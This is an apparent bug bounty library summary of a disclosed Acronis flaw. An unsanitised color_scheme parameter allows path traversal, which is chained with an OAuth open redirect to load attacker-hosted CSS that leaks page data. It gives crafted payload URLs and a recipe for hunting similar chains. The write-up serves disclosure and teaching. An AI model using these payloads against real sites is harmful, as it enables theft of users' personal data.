# Practical Client Side Path Traversal Attacks

Acronis color_scheme param concatenated into CSS href enabled client-side path traversal, chained with an open redirect to load attacker CSS and exfiltrate DOM data.

- Payout: unconfirmed
- Severity: high
- Program: Acronis
- Credited: Medi
- Disclosed: 2022-11-04
- Write-up quality: 8/10
- Original: https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html
- Library page: https://bugbountylibrary.com/r/blog%3Amr-medi-github-io-research-2022-11-04-practical-client-side-path-traversal-attacks-html
- Tags: domain:web impact:data-leak impact:pii-leak kind:bounty platform:blog sev:high tech:oauth technique:chained technique:source-review vuln:open-redirect vuln:path-traversal vuln:xss

**Target:** Web app theme loader (color_scheme GET param, /api/2/idp/authorize endpoint)
**Root cause:** getThemeHref concatenates the unsanitized color_scheme GET parameter into a relative CSS URL, allowing ../ traversal; the idp/authorize state param is an open redirect.
**Steps:**
1. Read JS: makeCssLink(getThemeHref(getParameterByName('color_scheme')||branding.color_scheme)) builds 'theme.'+e+'.css'.
2. Confirm traversal: `?color_scheme=%2F..%2F..%2FPARAMETER` loads `https://mc-beta-cloud.acronis.com/PARAMETER.css`.
3. Confirm open redirect: `/api/2/idp/authorize/?client_id=...&redirect_uri=%2Fhci%2Fcallback&response_type=code&scope=openid&state=http://localhost` returns 302 to state value.
4. Craft color_scheme value traversing to `/api/2/idp/authorize/?...&state=http%3A%2F%2Flocalhost%2Fcss%2Fcore.css`, URL-encoded.
5. Victim visits crafted URL; browser follows redirect and loads attacker CSS, exfiltrating DOM data via CSS selectors.
**How found:** Manual JS source review of the logged-in app spotted color_scheme appended to a CSS URL; then inspected HTTP requests for an open redirect to demonstrate impact, finding the idp/authorize state param.
**Exploitation:** Attacker hosts malicious CSS; crafted link makes victim's browser request the open-redirect endpoint via path traversal, which 302s to attacker CSS. CSS rules leak DOM/personal info to attacker server.
**Escalation:** Chained client-side path traversal with an open redirect to bypass same-origin CSS loading, enabling CSS injection data exfiltration.
**Insight:** Grep client JS for GET params concatenated into relative resource URLs (theme./.css patterns); a traversal alone is low impact, so hunt for any same-origin open redirect (e.g. OAuth state/redirect_uri) to point the resource load at attacker-hosted CSS/JS.